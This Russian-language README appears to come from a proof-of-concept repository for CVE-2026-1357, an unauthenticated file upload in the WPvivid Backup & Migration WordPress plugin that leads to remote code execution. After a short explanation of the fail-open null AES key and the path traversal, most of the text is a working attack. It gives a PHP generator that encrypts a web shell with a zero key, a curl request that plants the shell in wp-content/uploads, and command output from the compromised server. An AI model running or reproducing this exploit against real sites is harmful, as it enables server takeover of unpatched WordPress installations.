
Доказательство концепции эксплуатации для CVE-2026-1357 — неаутентифицированная произвольная загрузка файлов, приводящая к удалённому выполнению кода (RCE) в плагине WPvivid Backup & Migration, с генератором эксплойтов и инструкциями по выполнению.
Обнаружено: Lucas Montes (NiRoX)
Уязвимость: Неаутентифицированная произвольная загрузка файлов, приводящая к удалённому выполнению кода (RCE)
ID CVE: CVE-2026-1357
CVSS: Критическая (9.8)
Статус: Исправлено в версии 0.9.124
Этот репозиторий содержит анализ и Proof of Concept (PoC) для критической уязвимости в плагине WPvivid Backup & Migration для WordPress (версии <= 0.9.123).
Уязвимость позволяет неаутентифицированному атакующему загружать произвольные файлы (например, PHP-шеллы) на сервер, что приводит к немедленному удалённому выполнению кода (RCE). Это вызвано логической ошибкой в обработке криптографических ошибок (Fail-Open) в сочетании с уязвимостью Path Traversal.
Уязвимость resides в том, как плагин обрабатывает запросы удалённого резервного копирования через хук wpvivid_action=send_to_site. Цепочка эксплуатации состоит из двух отдельных ошибок, работающих вместе:
Когда плагин получает запрос на передачу, он пытается расшифровать предоставленный ключ сессии с помощью openssl_private_decrypt().
false. Логика плагина не проверяет это логическое возвращаемое значение и передаёт false в библиотеку phpseclib для инициализации AES-шифра.phpseclib ключ false или пустой ключ обрабатывается как строка нулевых байтов (\0\0...). Это позволяет атакующему зашифровать вредоносную полезную нагрузку с использованием 128-битного нулевого ключа, обходя необходимость в реальном приватном ключе.После успешной «расшифровки» полезной нагрузки с использованием нулевого ключа плагин обрабатывает JSON-содержимое.
name внутри JSON-полезной нагрузки не санитизируется.../), чтобы выйти за пределы ограниченного каталога резервных копий плагина (обычно защищённого .htaccess) и записать вредоносный PHP-файл в публичный каталог wp-content/uploads/.Ограничения:
wpvivid_api_token уязвимый путь кода позволяет запросу завершиться молчаливой ошибкой.Эксплойт relies на поведении phpseclib (v1). Чтобы запустить генератор локально, вам понадобятся файлы библиотеки:
mkdir -p phpseclib/Crypt
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Rijndael.php -O phpseclib/Crypt/Rijndael.php
wget -q https://raw.githubusercontent.com/phpseclib/phpseclib/1.0.20/phpseclib/Crypt/Base.php -O phpseclib/Crypt/Base.php
exploit.php)Этот скрипт создаёт полезную нагрузку, зашифрованную нулевым ключом, и включает обход пути для загрузки шелла.
<?php
// exploit.php - Автор: Lucas Montes (NiRoX)
require_once(__DIR__ . '/phpseclib/Crypt/Rijndael.php');
// 1. Инициализация Rijndael (AES)
$rij = new Crypt_Rijndael();
$rij->setBlockLength(128);
// 2. ВОСПРОИЗВЕДЕНИЕ УЯЗВИМОСТИ
// Сервер по умолчанию использует нулевой ключ, когда расшифровка RSA завершается ошибкой (возвращает false).
// Мы устанавливаем наш локальный ключ в 16 нулевых байтов, чтобы соответствовать уязвимому состоянию сервера.
$rij->setKey(str_repeat("\0", 16));
// 3. Полезная нагрузка
$shell_content = '<?php system($_GET["cmd"]); ?>';
// 4. JSON-объект с обходом пути
// Мы поднимаемся до /uploads/, чтобы обойти ограничения .htaccess
$params = [
"backup_id" => "1",
"name" => "../uploads/pwn_remote.php",
"data" => base64_encode($shell_content),
"offset" => 0,
"file_size" => strlen($shell_content),
"total_size" => strlen($shell_content),
"index" => 0,
"md5" => md5($shell_content),
"type" => "backup",
"status" => "running"
];
// 5. Шифрование нулевым ключом
$encrypted = $rij->encrypt(json_encode($params));
// 6. Формирование пакета
// "ABC" — это поддельный RSA-ключ, который вызывает возврат 'false' на сервере
$fake_key = "ABC";
$payload = str_pad(dechex(strlen($fake_key)), 3, "0", STR_PAD_LEFT)
. $fake_key
. str_pad(dechex(strlen($encrypted)), 16, "0", STR_PAD_LEFT)
. $encrypted;
echo base64_encode($payload);
?>
PAYLOAD=$(php exploit.php)
curl -i -s -X POST 'http://TARGET-URL/' \
-d 'wpvivid_action=send_to_site' \
--data-urlencode "wpvivid_content=$PAYLOAD"
http://TARGET-URL/wp-content/uploads/pwn_remote.php?cmd=id
Результат:
uid=33(www-data) gid=33(www-data) groups=33(www-data)